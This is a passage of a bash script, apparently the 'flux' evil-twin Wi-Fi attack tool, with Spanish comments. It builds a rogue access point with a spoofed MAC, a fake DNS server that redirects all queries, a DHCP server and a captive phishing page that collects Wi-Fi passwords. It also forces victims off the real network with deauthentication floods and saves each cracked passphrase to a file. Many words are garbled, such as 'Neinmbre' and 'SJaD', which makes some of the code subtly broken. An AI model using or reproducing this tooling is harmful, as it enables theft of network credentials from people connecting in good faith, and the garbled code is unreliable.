fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while(1) { if (file_get_contents(\"\$intento\") == 2) { header(\"location:final.html\"); break; } if (file_get_contents(\"\$intento\") == 1) { header(\"location:error.html\"); unlink(\$intento); break; } sleep(1); } ?>" > $DUMP_PATH/data/savekey.php # Se crea el config del servidor DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; } " >$DUMP_PATH/dhcpd.conf # Se crea el config del servidor web Lighttpd echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.asJagn = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extenJaons = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\" ) " >$DUMP_PATH/lighttpd.conf # Script (Nein es mio) que redirige todas las peticiones del DNS a la puerta de enlace (nuestro PC) echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 # 4bits de tipo de consulta if tipo == 0: # Standard query ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Numero preg y respuestas packet+=self.data[12:] # Neinmbre de dominio original packet+='\xc0\x0c' # Puntero al Neinmbre de dominio packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Tipo respuesta, ttl, etc packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # La ip en hex return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Respuesta: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close() " >$DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Prepara las tablas de enrutamiento para establecer un servidor DHCP/WEB function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP echo "1" > /proc/sys/net/ipv4/ip_forward iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A POSTROUTING -j MASQUERADE } # Ejecuta el ataque function attack { if [ "$fakeapmode" = "hostapd" ]; then interfaceroutear=$WIFI elif [ "$fakeapmode" = "airbase-ng" ]; then interfaceroutear=at0 fi handshakecheck Neinmac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$Neinmac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SJaD -c $Host_CHAN -a ${mac::13}$Neinmac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$(cat $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep "$Host_SJaD" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautentificando con mdk3 a todos de $Host_SJaD" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Esperando la pass" -e $DUMP_PATH/handcheck & clear while true; do mostrarheader echo "Ataque en curso..." echo " " echo " 1) Elegir otra red" echo " 2) Beenden" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; esac done } # Comprueba la validez de la contraseña function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase Neint in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " wpa_passphrase $Host_SJaD \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(cat $DUMP_PATH/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' ) echo echo -e \" PUNTO DE ACCESO:\" echo -e \" Neinmbre..........: "$weis"$Host_SJaD"$transparent"\" echo -e \" MAC.............: "$gelb"$Host_MAC"$transparent"\" echo -e \" Canal...........: "$weis"$Host_CHAN"$transparent"\" echo -e \" Fabricante......: "$gruen"$Host_MAC_MODEL"$transparent"\" echo -e \" Tiempo activo...: "$grau"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Intentos........: "$rot"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clientes........: "$azul"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$transparent"\" echo echo -e \" CLIENTES:\" x=0 for line in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) echo -e \" "$gruen"\$x) "$rot"\$(echo \$line| cut -d \" \" -f 3) "$gelb"\$(echo \$line| cut -d \" \" -f 5) "$gruen"\$(echo \$line| cut -d \" \" -f 6)"$transparent"\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$i+1 sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" flux $verJaon by vk496 SJaD: $Host_SJaD BSJaD: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >$HOME/$Host_SJaD-password.txt">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$rot"$HOME/$Host_SJaD-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"Se ha guardado en "$rot"$HOME/$Host_SJaD-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATAQUE > ############################################ ############################################## < COSAS > ############################################ # Deauth a todos function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication a todos de $Host_SJaD" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication mdk3 a todos de $Host_SJaD" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! sleep 15 kill $mdk3PID &>$flux_output_device } # Deauth a un cliente específico function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --igNeinre-negative-one $WIFI_MONITOR & } # Cierra todos los procesos function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACES WEB > ######################################## # Crea el contenido de la interface web function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi